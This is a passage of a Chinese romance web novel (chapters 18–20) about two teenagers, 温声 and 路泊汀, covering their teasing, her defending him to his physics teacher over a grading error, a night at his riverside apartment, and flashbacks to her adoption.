温声静了静,总算看回他,两手握拳噼啪作响,神情极淡,语速很慢,警告道:“你有种再说一遍不认识。”
路泊汀没在意她冒火的表情,拉下拉链,露出整张脸,指着自己问:“那我是谁?”
玩上瘾了是吗?
温声抱起手臂,小脸冷冷的,嘴里的话像机关枪一样吐出:“你是怡翠苑里让我最讨厌的人,是整个西小让我最不想说话的人,是我在附中不愿意牵扯上任何关系的人,是一中远远看见就想躲开的人,是我十七年短暂的人生里最后悔有交集的人,”她专挑难听的话,说完朝他点头,“满意了吗?既然失忆了,那就拿好自己的东西回吧,我真困了。”
绕是她耐性再好,也不想空着肚子和他大晚上再闹下去,她只想吃点夜宵早早睡觉。
路泊汀看她炸毛的样子,大手压向她发顶,轻拍两下,低声问:“那我叫什么呢?”
这家伙简直软硬不吃。
温声突然就泄了气,拍着嘴巴小声打了记哈欠,她的脾气算是被他硬生生给磨平了,定定望着他,认栽道:“虽然不想承认,但路泊汀这个名字还算你身上让我觉得蛮酷的标签。”
他下一秒翻旧账:“可是温声刚才说很讨厌路泊汀。”
提起刚才的话,温声不自在地转身,有些扭捏道:“也不一定啦,你如果不欺负我,如果一直很乖的在我身边,我也没有那么讨厌你。”
“那如果有一天……”他笑眼弯弯继续逗她,“路泊汀忘记了温声。”
刚才到现在,从头到尾他问的都是一些莫名其妙的话,温声虽然不想跳进他的坑,可也在极力配合了。
只是这句话出来时,她脑子像突然得了脑雾,对上他带笑的眼睛,脑海中快速闪过一个很普通的画面:
他以前趁她睡着时小心翼翼地捧起她的脸亲她的下巴,其实那晚她在装睡,他应该发现了,也可能装没看见,到最后她的额头鼻子脸颊嘴角全被亲了个遍,唯独嘴唇他没敢亲,她到现在都还记得,他在她半睡半醒的迷糊中低声靡靡说的那句——
我该拿你怎么呢?
这句话她后来反复琢磨,才发现更像是他对他自己说的——
好喜欢你……
我该怎么办呢。
下一刻,神经最深处的思绪骤然抽离,后脑勺绷得发疼。
温声一时没反应过来,或者说,她根本没想过也不知道该怎么应对他说的那种情况发生。
他会忘记她?
怎么可能。
即便全世界有几十亿人,即便在这么多国家找到一个人听起来如此困难,但不论天南海北,还是穷天极地,只要有她在,他一定能找到她。
这就和吃饭喝水一样,是他们之间最自然的一种本能。
根本就不可能出现他说的那种情况。
温声嘴唇微张,声音有些发涩:“那你就告诉自己,不能忘记我,绝对不能忘记我,虽然我总是骂你,我对你也不够好……”她眼圈忽然红了,小小的鼻头一颤,她控制不住发抖的气息,“虽然……我说我讨厌你,但你不是很乐意记住我说的每句话吗?那我让你一直记住我,你就要做到。”
不然,他们的关系何来开始一说。
18. 卖乖
气氛有点沉,还把人又惹哭了,路泊汀抚着额角哑然一笑,上手揉她的两只耳朵,最后干脆搂过来一把抱住,嗓音低低柔柔:“那能以后别总叫我喂了行吗,多喊两声老公让我听听。”
温声今晚彻底打蔫儿了,垂下头,不说话。
路泊汀轻咳了声,无耻地抓过她的手凑到自己胸口,错开话题:“今晚有点犯低血糖,是真的有点难受没骗你,刚才头晕浑身也没劲儿,胸口好像也不太舒服,你摸摸看。”
但小手像泥鳅一样从他手里无力滑下。
得,这下彻底凉了。
路泊汀扶着颈还在想该怎么找补,温声抬起眼皮,眼睛还有些红,手掌铺平,贴向他胸口,侧耳同时靠近,听了大概一分钟确定他心率没问题才放下手。
小手接着拉过他,捏住他手心的虎口,然后牵着他走到放外卖盒的矮桌前。
全程没说一个字。
身后的混蛋却是在全程巨细地留意着她的表情。
她如果提分怎么办?
哭一个?
也太逊了。
跪一个吧。
啧……
不是吧哥们儿,你到底行不行?
温声突然回过身,气势汹汹的,路泊汀愣是没敢动一下,她拿起被他压进沙发缝里的手机,路泊汀看她还要接着给姚书文打电话,手已经犯贱地伸了出去,摁断通话,退出界面,锁屏,一丢。
手机重新掉进了沙发缝里。
接着低眼闭嘴,装无辜。
温声不满的嘶了声,习惯性想捶他,但硬生生忍住了,眉头又拢起:“你烦不烦啊,我找妈妈有要紧事,你干嘛总挂我电话?”
“真只是低血糖,你担心的话我等会儿自己去找医生,而且妈这个点已经休息了。”路泊汀重新披上帽子,拉链一点一点,一咔一咔地,缓缓往上拉,卡到鼻梁,只露出一双含笑卖乖的眼睛:“宝宝我有点饿了,今晚还没吃饭……”
时间确实有点晚了,温声想了想打算明天白天打过去再问,她坐下,抱起胳膊,一眨不眨地开始审视起他。
目光沉沉的,怪慌的。
路泊汀少见的被她盯不自在了,浅咳了声,视线乱飘,拉链又向上移了移,声音藏进衣服里,闷闷地说:“想说什么直说,别这么看我。”
温声今晚被他搞得确实有点烦躁,想发火又对他发不出,只能憋住气,依旧不作声。
什么都别说了,哄吧。
路泊汀抄着兜,俊脸往衣服里埋,睫毛扑闪,摩擦着领口发出很小的呲呲声,然后……
温声刚才还绷着的小脸忽然兴味渐起,舒舒服服靠回身后,接着皮笑肉不笑地盯面前那个突然扭起舞的人。
多大人了还跳幼儿园时期的兔子舞?
“left left right right……go turn around……go go go……”
(左左右右……转个圈……走走走……)
路泊汀被帽子遮住表情,觉得有点羞耻,头埋的很深,悄声哼着调儿,屈腿左踏踏,右踏踏,兜里的手还叉起了腰,心不在焉地在原地扭了个圈儿,宽松的衣服被撑起和他的碎发一样绵柔的膨感。
高高瘦瘦的人跳起小孩子的舞,丝毫没有幼稚的违和感,反而有种摇尾乞怜的楚楚无赖。
温声的小心脏也跟着软乎乎毛茸茸起来,她在心里狠狠啐自己一口。
温声!
长点记性吧温声!
但是……
谁让你是这个世界上最有人情味的小女孩呢?
“……smacking beating clapping all together……”
(……一起拍拍手噼噼啪噼噼啪……)
轻抖两侧肩,左右慢慢转脚跟,从袖子里掏出手,半截大手还掩在袖口里,细长的手指对碰对,点啊点。
跳的像一只大狗狗。
哼唱声倏地一停。
温声看他转了胯,侧身朝向她,衣服微摆时露出窄劲的细腰肢,她注意到他线条很漂亮的鼻尖,刚要翻白眼让他把屁股从她眼前挪开,下一秒就听到他忽然蹦出一句熟悉的西语,弹舌弹的格外骚气——
“hola~hola,mi~cielo~”抬起翘臀故意朝她色气满满地甩了两下,喘着靡靡气音继续骚,“yo~yo,per~ri~~to~”
(小宝小宝~我是你的小~狗~)
还是用那种汪汪小狗朝最爱的主人脸上吐粉红舌头讨饶时湿湿的声音。
温声第一次在一个男生身上看到“鬼马精灵”四个字……
然而路泊汀脸红了……
扭完屁股。
人没反应。
他头次觉得自己被扒光了,浑身极不自在地杵在原地,拉链卡着眼皮直接拉到头顶。
给点反应啊……
小时候西语外教第一次来家里,别的正常的小孩可能都会先问老师:你好用西语怎么说?我的名字用西语怎么说啊?再不然会问老师:我爱你怎么说呀?
温声记得很清楚,只有面前这位少爷追在人家屁股后面问:“狗!狗怎么用西语说?”
噢,原来是在今天等着她呢?
算了。
今天绕过他。
温声收回视线,盘起腿,只说了一句:“以后吃完饭再来见我,不舒服的时候不准再骗我,也别再说那些无聊的话,记住没!”
路泊汀乖乖嗯了声,要点不点地点了两下头,动作幅动不大,整个人在灯下懒洋洋的。
温声用亮晶晶的大眼睛瞪他,让他大点声。
那种娇娇的小猫感又来了。
路泊汀噗一声弯唇笑出来,摘下帽子,隔壁那位神人又开始放起了歌,估计也是听完该听的墙角了,这回放的歌他倒还挺感兴趣,身上的冲锋裤在刚才两人拉扯中已经变得不成人样,随着音乐律动,他挑起眼梢魅感十足地吹了声口哨,插兜,转胸,松弛又控制力满满地滑着舞步,期间还眨着眼故意对她放电。
在她面前极做作地跳了一串丝滑的hiphop动作。
用行动告诉她——
老公身体一切都好,勿念啊宝宝。
好烦一人啊。
温声被他几道电眼膈应晕了头,撑着下巴,非常一言难尽地噘起嘴巴,嫌弃两字就差劈头盖他脸上了:“吃饭吧吃饭吧吃饭吧……别跳了……”
真受不了了。
江城秋季的夜雨说来就来,发潮的尘霉味全聚在了窗隙,外面风声涌起,空气中挤入那股湿答黏糊的雨气。
两人吃饱喝足都有点晕碳,脑袋抵着脑袋,互相半倚着沙发,温声嘴里还在累累地嚼剩下的包子,手里抓着他特意给她订的椰奶,嚼不动了,就吸溜一口椰奶,反反复复,嘴里的包子还是鼓得满满当当。
“呜呜呜我吃不动了…嗝……”
“那就别吃。”
“可是浪费了……”
“那就吃。”
……
路泊汀忍着头晕,挤开一旁打嗝的小人,起身,勾过地上的背包和便利店的袋子,温声晕乎乎地瞄到他从包里掏出了她的姨妈包,还有护垫暖贴一些乱七八糟她例假需要的东西。
嗝——
她忙捂上嘴巴,最近住院,都忘记了这两天马上到生理期了。
路泊汀又扯开包,往外取她的宝贝——
什么丑丑香香的潦草狗玩偶啦,还有两本厚厚的私人漫画集啦,甚至还带上了平时她画画的写字板等等等等。
够她住院期间美美的玩了!
路泊汀重新倒回沙发,拉过她的胳膊,抽开袖子,鼻子抵着细嫩的皮肤,呼吸很重的嗅了好一会儿。
他总喜欢闻她的胳膊。
温声纳闷了,她也没闻出到底有什么特别的气味。
时间滴滴答答晃到了夜晚十一点,路泊汀作业还没动,看样子今晚是不打算写了。
温声慢吞吞地吃完了所有的包子,剩下的椰汁咕噜咕噜全灌了下去,打了声小哈欠,准备洗漱睡觉,旁边人半天没动静,扭头一看。
路泊汀已经睡着了……
桌上的手机屏幕忽然一亮,是他的老师打来的。
温声犹豫了两秒还是没叫醒他,动作非常轻地拿过他的手机,担心有急事,她还是接了,掐着嗓子粗声道了一声老师好。
魏宇拿着鼠标点开晚上学生传来的扫描件,有点纳闷的开口:“小路啊,你给我发来的题实验部分你看看是不是哪个步骤错了?答案不对啊,力值是不是算错了?这种小错误扣三分你知道什么概念吗?”
温声皱着小眉头听他
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数落。
路泊汀平时答题思维很缜密,心算更是应手稳妥,还没见过他因为数值算错掉分的,温声清清嗓,又掐着喉咙小声问:“老师,您这边要不再算算呢,其他同学有反映相同的问题吗?”
魏宇哟呵了声:“你这孩子我就说你现在傲上天了,错了就是错了,这个值代入9.07,你看看你代的多少,后面两问的值都出错了,这题可是一道40分,取舍问题我不是早就讲过吗怎么还会……”
温声不想路泊汀被老师骂,不高兴地嘟起嘴巴:“那您再给我说一下步骤,我重新算算。”
魏宇一边给她透题,一边接着数落:“我说你这小子,一个小时前给我交的题现在就忘了?我看我真的有必要和你父母面谈一下了,你最近完全不在状态啊,谈的女朋友是我们学校的吗?”
咳!
温声呛了一声口水,没回应,咬紧唇连忙压下慌张的呼吸,从路泊汀包里快速又动作很轻地找本子翻笔,好在她计算能力还不赖,看到草稿纸上面的数字和魏宇说的数字不一样,斩钉截铁道:“老师,我确定就是您算错了,不管是计算器还是手算,结果都只能代入9.12,您看看其他学生是不是这个数值代入的?”
头发被轻轻抓了两下,温声一愣,回头,路泊汀懒洋洋地斜靠着,半睁着眼看她,又扯起唇直笑,大手在她头上接着顺啊顺。
还真当她是猫了……
温声捂紧话筒抵着唇让他别出声,电话那边的魏宇还在自问自答:“这题不应该啊,总不能是我算错吧,我是老师怎么可能会有问题,除非这题给出的条件不……嗯?还真是9.12?”
几乎是同时,温声在电话这头就立刻抱起胳膊,冷下脸,以审视的姿态睨着手机屏幕。
道歉啊老师,快。
路泊汀在旁边直勾勾盯着她,一副雄赳赳气昂昂的派头,虎劲儿里带着俏皮的侠气,偏偏她还这时抬起明眸凶巴巴地横了他一眼。
让他消停会儿。
路泊汀这才清醒过来,肩膀抖了抖没忍住笑倒在边上。
是保护他的乖宝。
魏宇支吾了半天,有点下不来台,最后还是生了两声假笑在电话那头唤路泊汀:“孩子,你这道题没问题了,不过以后还是要多注意数值的取舍,再看看你的卷面,空白处不是用来当草稿的,这如果上考场了阅卷老师指定先给你扣五分,五分是什么概念?还有你这个拍过来的太暗了……”
扯了一堆不是重点的。
您倒是道歉啊!
温声抹起袖子,小手利利索索地拍掉旁边薅她头发的人,抓起茶几上的手机,贴一侧耳边,也不装了,口齿伶俐有板有眼道:“魏老师,既然答案没问题,那您是不是该对我家哥哥说声对不起呢?您冤枉了他的做题成绩,质疑了他的做题效率,甚至还影响到了他的复习心态,现在离考试时间已经很近了……”
抱着电话,扭过身对上路泊汀的眼睛,一字一句斩钉截铁,声音却很甜很礼貌:“如果您不道歉的话,那我家哥哥也太可怜了吧。”
她软软的声音带着吴语的婉润,掷地轻慢,却强势地攻陷了他,路泊汀心里一动,伸手搂过她,温声被带进怀里,他的手掌同时包住她发凉的膝盖,翻身,小心避开她的肩膀压着她,用口型贴在她耳边轻声说:谢谢宝宝。
温声哼哼唧唧地翻了记白眼,推他,没推动。
学生语简意赅,直截了当,魏宇一愣,讪讪搓了把自己留的胡子,老脸少见的发起窘,不过一中师生的相处向来学无常师,比老师道深的学生多了去了,给学生道歉也不是什么稀奇事,只是他还是多嘴问了一句:“你是他妹妹?亲妹妹?他最近晚上急着走是去见你?”
温声手腕潇洒一转,手机贴到了路泊汀耳侧,把问题丢给了他。
她也很想知道目前他们到底是什么关系。
路泊汀黑漆漆的眼睛一瞬不瞬盯着她,眼神有点热,温声被盯着脸也有点发烫,
温声听见对面的魏老喂了两声,挑起眼神示意他:还在通话啊快回答。
“她是我……”
手机屏幕一暗,剩的那点1%的电量耗尽,自动关机了。
路泊汀笑了笑,压着她,半身却是躺在她身侧,晚上进门前她说的那句话,原封不动,还给了她:
“很爱很爱的人。”
19. 宁湾
温声出院后,先是回了一趟怡翠苑简单收拾好行李,就拿着他之前给的门卡自己去了宁湾。
十月物赛金秋营马上就要比赛了,路泊汀近期被老师一直押在实验室复习,两人没怎么见面,他下午收到信息时还在和京市的老师开视频上课,点开手机后,眉头微蹙。
很轻描淡写的一句话。
声声怪:说一声,国庆后见吧,最近先别了,有其他事。
国庆后,八天。
只是简单通知他。
路泊汀轻阖了下眼睛,没什么表情的收起手机,天明天黑,在学校呆到很晚他才收拾东西准备走人,临走前给庵加河打了个电话。
温声坐了一个小时的车到宁湾,看着电梯不断变换的数字,她突然就后悔了,眼皮直跳,心脏也跳的很快,很想拎着行李重新回去。
但是肩膀处还打着石膏,自己偷偷一个人跑来都很不容易了,再折腾回去,肩膀的伤别想好了。
电梯停在35楼,每层只有一户,她立在门口,咬唇犹豫了半天,才伸手输入上次他说的密码。
“滴滴”两声,门被打开。
她一懵,这就开了?
入眼就是远处的江景,宽阔的落地窗可以看到江城四季的绝佳风景,温声惊讶地哇哦一声,丢下行李箱开始打量这个设计奇特但是很戳她点的房子。房间整体黑白单一色调,下午的阳光很足,从落地窗和屋顶相连处的一弧穹顶天幕中投映进来,有一种朦胧的杳渺感。
她被四周巨大的陨石墙吸引了视线,石块的暗色纹理透出坚硬内敛的质感,上面还挂了一幅照片,走近细看,她心头一怔,这不是自己吗?而且还是很小很小的时候,大概五六岁,扎着蓬松凌乱的头发,手里握着一根棒棒糖,对着相机甜甜一笑。
没想到照片被路泊汀拿去了。
温声呶呶嘴,等他今晚回来后再细细盘问。
拿过行李箱盘腿坐在地毯上开始理东西,天气变凉,她专门带了一条黑色打底裤,未拆封的盒子,随意丢在一旁,又拿出自己的洗漱化妆包放在矮桌上面,简单收拾好后打算先去洗个澡,拿出吊带和短裤推开主卧的门,房间很暗,大幅度的落地窗被暗色遮光帘挡住,她有意无意瞟了一眼他的床,意外的整齐,收回目光埋头直奔浴室。
肩膀处有伤不能碰水,温声洗的很慢,出来时,外面的橘色余晖正照进客厅,她拍了一张俯瞰的落日,发朋友圈时却犹豫了。
万一露馅了……
看了一眼时间7:15,他应该快回家了吧?
把自己的所有东西全部搬到次卧,又将客厅重新整理一遍恢复来时的状态,她窝在沙发上边玩手机边想一会儿要怎么吓他,湿漉漉的头发散开,在浅色沙发上滴落成小水斑。
时间8:20,大门依然很安静。
温声有些困顿地躺在沙发上打哈欠,强撑着眼睛看了一眼手机。
路泊汀很少发动态,他的朋友圈只有三条,没有文字的三张照片,一条在挪威的滑雪照,一条她16岁生日凌晨的蛋糕剪影,还有一条四年前在家里顶楼阳台拍的夜景。
他刚发了一条动态,同样没有任何文字的照片,黑白色调下泛着细碎水光的酒杯。
温声快指点开那张照片瞧了半天,随即冷笑一声,把她一个人丢家里自己跑去喝酒,凭什么啊?
唔,虽然是她先骗他不来宁湾的……
气不过,她起身去了客厅,在酒柜拿了一瓶看不出是什么牌子的小洋酒,橙红的液体,瓶身印有一颗红红的西柚图案。
应该是果酒吧…?
二话不说拎着酒重新回到次卧。
路泊汀是晚上快十点到的家,客厅里飘着很淡的琥珀茉莉味,环视了一圈,他不动声色地轻关上门,换了鞋径直走到主卧。
推门,没人。
吐了口气,手撑着脖子脱下衣服进了浴室,水流声淅淅沥沥,磨砂玻璃漫上朦胧的雾气,隐约能看到他修长结实的身材。
洗完澡后路泊汀披了件睡袍走到客厅给自己倒了杯水,他随手向后抓了一把湿发,露出饱满的额头和好看的眉眼,手机上面安安静静,她一晚上没来消息。
突然,对面的次卧有响动的声音,他盯着门看了一瞬,放下水杯走了过去。
温声尝到第一口酒时就知道自己又拿错酒了,这辛辣苦口的口感她闭着眼都能猜出酒精度绝对不低,果然,翻过酒瓶,底部印着小小的40%的字样。
但是……
她今晚挺想喝醉的,于是低头又轻酌了几口,不到一会儿,身体就开始发热,她立马打开手机相机看,脸颊染上几丝红晕,眼睛湿漉略带迷离。
轻咳一声,搞定!
她又跑去喷了两泵清甜的香水,上手抓乱自己的头发后就躺在沙发上装睡。
没想到这一装,真的睡过去了。
路泊汀打开门,她正躺在沙发上睡觉,一张睡颜乖巧恬静,全然没有平日里对着他张牙舞爪的俏皮样。
他又看了眼桌子上放着的威士忌,走过去,对着她喝过的杯沿喝完了杯子里剩余的酒水,弯腰靠近她,她的头发已经全干了,散开的长发贴着脸颊,嘴唇微微张开,他低头碰了碰她的唇角,很轻,又抱起她的腿弯回了主卧。
怀里的温声睫毛颤了颤,她在他进来前就醒了……
躺上床,路泊汀开了空调和加湿器,又在空中喷了几丝好闻的睡眠喷雾,他打开靠近她这边的床头灯,亮度调的很暗。
就在温声还在想要不要睁开眼时,他高大的身子就压了上来。
整张脸埋进她颈窝,气息潮热,嗓音有点失音的发涩:“不是说不来吗……”
喘出的热气烙在她身上,温声心一颤,咬紧嘴唇,没吭声。
硬着头皮继续装睡。
“我知道你醒了,先让我抱会儿。”
路泊汀用嘴唇碰她脖子处的软肉,轻触后又褪开,她听到他吸鼻子的声音,很轻,连带着出口的话也很轻,她完全不敢动。
“以后能考虑点我的感受吗?”
“一点就行,我对你没多少要求。”
“但每天总得见一面吧,还有几天我又要走了。”
“……你不会想我吗?”
他侧过半张脸,微微远离,贴着枕头,眼睛好像就挨在她耳边,在她没动静的这几秒,他没说话的这几秒,温声觉得有一颗巨大的熟透的冒着酸酵的黑葡萄正往外渗出酸水。
他空口又问了一遍:“不会像我想你一样……想我吗。”
她还没来得及说话。
下一瞬他自问自答:“我承认了,我很想你。”
那你呢?
然后流出的那些酸水全部坠进了她胸口。
温声睁开眼,轻眨,半晌后,抬手在他后背轻拍,“我今天很早就到家了。”
她把宁湾说成家。
他的身子一静。
她又开口,不太会解释似的声音有些干巴:“对不起啊,我其实也有…我……唔…”
迎来的是他更紧的圈抱,他的眼尾还潮红一片,不想让她多看,抬手遮住她的眼睛。
昏暗的灯光照在头顶,她看不清他的神情,只能感受到他很沉也很快的呼吸声,都忘了是谁靠紧谁了,灼热的呼吸缭在她颊边,他又低声喃喃:“我原谅你了。”
温声被他圈在身下,小小的一只,浑身都在发烫,好像真的醉了一样,摇着耳朵去擦他的脸,但没转头:“不要难受了……我这不是来了吗?”
有句话她咽了回去:你怎么这么玻璃心啊!
然而耳尖依然潮潮热热的……
那颗葡萄自己拉下灯,没有任何声息地隔离了她。
摇摇欲坠的灯线被她下一秒快速捡了起来。
“老…公……”
温声别扭的喊,别扭的哄,还得别扭的用耳朵给他擦眼泪。
声音很静……
“
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你有在听吗?”
声音窸窣……
路泊汀重新起身趴回她身上,两人的睡衣暧昧不明的贴在一起,他的一只胳膊支在她脸侧,又抬起另一只手挠她的下巴,但半天就是不吭声。
还想让她再喊一遍。
温声两手举起他的脑袋,手比脑子快了一步,上手直接在他脸上糊来糊去,转话题:“这事儿过,下次我注意好不好?”
不好。
他等了半天,没等到,只好紧赶慢赶地轻哄,嗓音还有点哑:“再叫一声,今晚你说什么就是什么。”
温声闭着嘴,手里还在糊他的脸,有些话说一两次就够了,说太多次她会觉得很随意。
她不想对他随意。
但他拿那双重新亮起灯的黑葡萄拱着她的心窝。
本来动作很轻的糊脸,变得凶巴巴起来,他的头发都被她薅成草了。
温声作势挑起秀眉,明眸粼粼惑人:“我想吃你做的面。”
她还没吃饭,又是和他一通折腾,胃里饿得有点难受。
路泊汀很干脆点头,“好。”
过了三秒。
他很烦人的催她:“快叫,快叫。”
温声翻了个白眼,做作地钓他,拖高尾音:“hus~band~”
路泊汀睨着她,眼圈还红红的,但眼里又铺满了那种温声很熟悉的坏水,他悠悠起身,下一刻,手指就弹了过来,她的脑门一阵刺痛:“你给我等着。”
下床重新围好睡袍,在衣柜找出一件短袖丢给她,“穿上一会儿出来吃饭。”说完就去了厨房。
温声从客房拿出那个打底裤的黑色盒子走到客厅,打算拆开明天穿,路泊汀正好端着碗走出来,番茄牛腩鸡蛋面,食材都是家里的阿姨准备好的,做起来很方便。
温声闻到香味肚子更饿了,盒子塞到他怀里,又快手接过那碗面,“我好饿,你帮我拆,我先吃饭。”
路泊汀坐在地毯上开始拆盒子,盒子上面印着小小的SEX的字样,他侧头若有所思的问:“你买的什么?”
温声小口吹着面条,含糊道:“打底裤呀。”
他突然扯唇轻笑,很快的拆开盒子,盯着里面的东西又瞅了她一眼,长指轻敲盒面,“打个赌吧。”
温声吃的正开心呢,也没看见他脸上一脸算计的表情,很自然的回话:“什么呀?”
“你猜这个盒子里有什么,猜错了今晚都别睡。”
“咳咳……”她差点被汤面呛到,面色微涨,小心的看他表情,“不就是打底裤吗?”
还能有什么?他干嘛笑的一脸不怀好意。
他转过盒子对着她,比了个请的手势。
温声咬着面条随意看向盒子,一哽,差点给自己噎死。
盒子里哪还有什么正儿八经的打底裤啊,四件套蛐蛐内衣加一盒蛐蛐飞行棋。
路泊汀靠向沙发,笑的很肆无忌惮,也很坏:“没想到啊,你这么早就想上我了,连这些东西都准备好了,”说完又很烂的摇头叹气,“啧,我还真不是你的对手。”
温声也不喝汤了,快速抽纸擦嘴巴,跑到盒子前一副震惊脸:“我买的就是打底裤啊,肯定是老板发错了。”反应过来他刚才的话,很不客气的打向他的肩膀,响声很脆很重,“我警告你,不要污蔑我。”
他俯身拿出那盒飞行棋,有两张纸,纯爱版和私密版,纯爱版那张他简单扫过后就放到一旁,又研究起那张私密版。
温声还在看盒子上面的标签:性感女郎免脱连体战袍。
她咂舌,这都什么跟什么啊,连忙拾起哐的一声丢进旁边垃圾桶,又见他还真正儿八经研究起那张纸上的内容了……
眼皮一跳,单手扯了过来:“看什么看!这是你能看的吗?这是我能看的吗?”
说完,伸手,在他手背上啪的一声重拍,拍得他手背秒红。
“都不准看!”
打人还打上瘾了。
20. 救赎
路泊汀掐住她后颈的肉,往上一提,她的两脚尖被迫踮起,头皮一麻,温声脸热了,反着两手使劲拍他的手,拍不过又去抓他脖子:“你别这么拎我!放手放手!”
“下次还动手吗?”
这也叫动手啊?
温声扭过半边脑袋,嘴里叫冤:“讲点道理好不好,本来就是不能看,谁知道你又有什么坏点子,到头来倒霉的又是我……哎呀!你别拎我喘不过气了真的……”
路泊汀抬着手,那片拍红的皮肤贴上她泛凉的后颈,他扯唇哼笑,心眼很小地痛斥她:“看到了么,你就是这么折磨我的。”说完还不咸不淡地自嘲了句:“反正你也不在乎我到底疼不疼。”
哪有他说的那么严重?
温声缩起脖子向后枕,使劲夹他的手:“那是你活该你手欠你不要脸,我就打了怎么着吧,你不服就打回来呗。”
腆着一侧秀气的小脸挑衅他:“来啊,要打快打,别废话,真瞧不起你这种人。”
哪种人?
具体也不知道,反正很差劲就是了。
她又用刚吃完汤面还没来得及擦的小嘴朝他噗噗口水:“呸!”
到底是哪儿学来这种噗口水的垃圾习惯?
路泊汀斜着肩躲开,两指轻松捏住她的嘴巴,好看的眉头攒起:“再往我身上吐口水试试。”
两片红唇像外翻的柿饼一样,温声疼的直哼唧:“再掐!再掐嘴巴就不好看了!到时候你赔我啊呜呜呜……”
他好笑的斜睨她,手下力度放松,结果三秒不到,她就死性不改地连着噗噗噗了好几声,口水泡泡零碎吹出。
碰碰巧,小小的泡泡挂到了他眼睫上。
路泊汀趁她毫无防备,拎着她颈侧的长指反向一挡,她的小脑袋瓜就被掰了过来,两指揪起她的嘴巴,他趁机压上去,齿尖磕住她嘟起的粉嫩唇肉,他咬的凶狠又恶劣,刺痛立马袭来,温声憋屈地呜呜两声。
唇齿碾咬间,他往前轻推,手掌倏尔松开,温声被推出去后腿一软,很快跌回地毯上,咚的一声重音,她捂紧又麻又疼的嘴巴,哎哟哎哟地不停叫唤,另一手揉着摔疼的屁股,仰着脑袋怪声怪气地放话:“总有一天,总有一天的一天!你最好别落我手里,不然我绝对会百倍千倍还你!姓路的你听好了,我可是给过你机会求饶,是你不要的!”
下意识还想吐口水用气势压倒他,但肿起的嘴唇警告她,今晚不能再噗他了。
捂紧。
她忍。
路泊汀不阴不阳的睇她一眼,嘴角翘起登徒子的混笑,那种恶棍地痞的目光让温声很不舒服,下一瞬,他放出的话也相当刻薄,完全就不在意她是不是自己老婆:“想报复回来?用你这停止发育的短胳膊短腿儿?还是用你这噗口水都噗不准的三岁智商?”他奚落地瞟瞟她,眼神挑剔得很,薄唇轻启,“不会还想用美人计吧?”
还要用很贱很跋扈的语气重复嘲弄道:“应该不会吧,温姐?”
温声本来木着一张俏生生的脸还在听他数落,听到‘美人计’三个字时,脑袋噔的一声亮灯。
对呀!她长得这么好看,完全可以把他勾引的死去活来,在他最爱的时候再狠狠抛弃他,最好是一脚踩他脸上,买点什么冥币之类的,以胜利者的女王姿态甩他身上:喂,兄弟,你被ko了。
帅啊。
她越想,水润的大眼睛渐渐眯成一条缝,嘴边的笑快要压不住。
美人计好啊!
美人计就是量身为自己打造的啊!
屁股突然被人懒洋洋地轻踢了两下,像踢开路边垃圾袋一样,动作很嫌弃,温声突然清醒,炸毛:“你别踢……”
“得了吧宝贝儿,歇歇。”
路泊汀下一瞬打断她,杵到一旁琉璃台,给自己顺了瓶饮料,拧开盖子,百无聊赖地弹她脑门上,喝了两口,嘴唇被水渍润得发红,摇头,笑得很损也很碍眼,“要用美色也是我用啊,你压根没有那玩意儿,醒醒吧。”
温声脑门又被弹红了,忿忿握紧拳,凭什么他能用她就不能用!
论起脸型,他是尖脸她也是啊!皮肤,他遗传了姚女士的冷白皮好肤质,那又怎样,她的皮肤并不比他差好吗,眼睛,她虽然没有他的眼睛大和黑亮,但她眼型很独特啊,她敢说长这么大还没见过谁的眼睛是琥珀绿色的!鼻子,她的也很秀气直挺吧!嘴巴,如果不是被他时不时捏肿或者亲肿,她的嘴唇也很好看的!
她明明就很漂亮啊!
你他爹的打压谁呢?
温声理清前后逻辑后,自信重卷而来,傲然一笑,捡起地上的瓶盖大力扔他脸上,刚扬起怒目圆睁的表情,结果下一刻就歇菜了。
贴到面前的是他高高举起的手机屏幕,还是前置摄像头。
路泊汀趁她刚才自我怀疑时,驾轻就熟地开了她的手机面容,点开相机软件,快指调了前置摄像的参数,又是镜像又是失真,还设置了很畸形丑化但细微到辨不出真假的前置自拍角度。
神仙来了都得变王八。
温声一愣,睁圆眼睛,难以置信地瞪着屏幕里的黄脸肿眼,缓缓偏头,镜头里尖嘴猴腮的丑人也跟着一偏。
……
看她那副呆头呆脑的笨样,路泊汀不动声色地抿唇失笑,空气有一瞬是暗色沉沉的,他按下拍摄键,快速定格,当着她的面,又故意晃了晃屏幕,胳膊一转,收起手机。
在她耷下脑袋时,他又悄然删掉,关机。
其实这做法挺上不了台面的,动作还很脏,说句不好听的,抨击长相这种事于他的成长环境而言既蠢还恶俗,把握不好度很容易踩红线,还容易被她甩,被姚书文和路康知道后铁定是要捶他一顿,毕竟夫妻两人好不容易把宝贝女儿养成明媚自信的性格,今晚过后,孩子又自闭了。
路泊汀手里不停惦着手机,静静盯着她的反应。
从泛红的额头,一点一点下滑,到有些倔犟的下巴。
如果非要让他承认点他到底喜欢她什么,或者说,是从什么时候开始鬼迷心窍的?
他很难也很心虚地不想承认——是从……觉得她好看的那一刻。
也就是见面的最初。
但往深里扒,她长得好看只是他开始留意的敲门声,还不足以成为让他反复开门的钥匙。
真正放进心里的那天,那个晚上,其实很平淡也很顺其自然,像相吸的引力,他无可避免也无从阻绝,后来他才知道,原来这就是超出命运无法掌控的喜欢。
他清楚地记得,那天是一年到头的冬至,姚书文带他们两去日式餐厅吃晚饭,温声没吃过料理,以前在福利院,食堂的阿姨偶尔会做一次饭团,还是用攒了两三天的剩饭做成的。
站在入口处时,她面色发红,两手局促地紧紧绞在一起,店里要求客人需要换鞋……
但她的袜子有一个破洞,还很大……
回到路家后她的衣柜时时换新,姚女士会定期找自己的私人设计师朋友给两个孩子做衣服,担心她刚回来住在市区不习惯,又以她的名义购了一套远郊泗岛湖的生态四合院,她在那里住了半年,姚女士也跟着陪住了半年,她那么忙的人,每天要开车从郊区到市区往返四小时。
有一段时间工作需要,姚女士要去西北停一个月,当时路康正好年中休假回国,他本意是想带着儿子女儿暑假四处走走,再不然,就跟着老婆一起去现场呆一段时间。
但被姚女士当场拒了,理由很简单,她的工作时间不想让他来碍眼,她要带女儿走,让他带儿子走。
一南一北,七岁的路泊汀被路康随意打包带去了全国最南边最人烟稀少的水村过了一个无聊至极的暑假。
这件事后来还被他当着二老的面时不时扯出来嘲两句——
“我说老爹老妈啊,这么久过去了,你们二位难道就没有为我说话的?”
压根没人理他。
在西北的一个月,温声胆子放开了很多,白天穿着防晒衣蹬着运动鞋屁颠屁颠地跟在妈妈身后,想要努力记住她是怎么指导大型纪录片的现场拍摄。
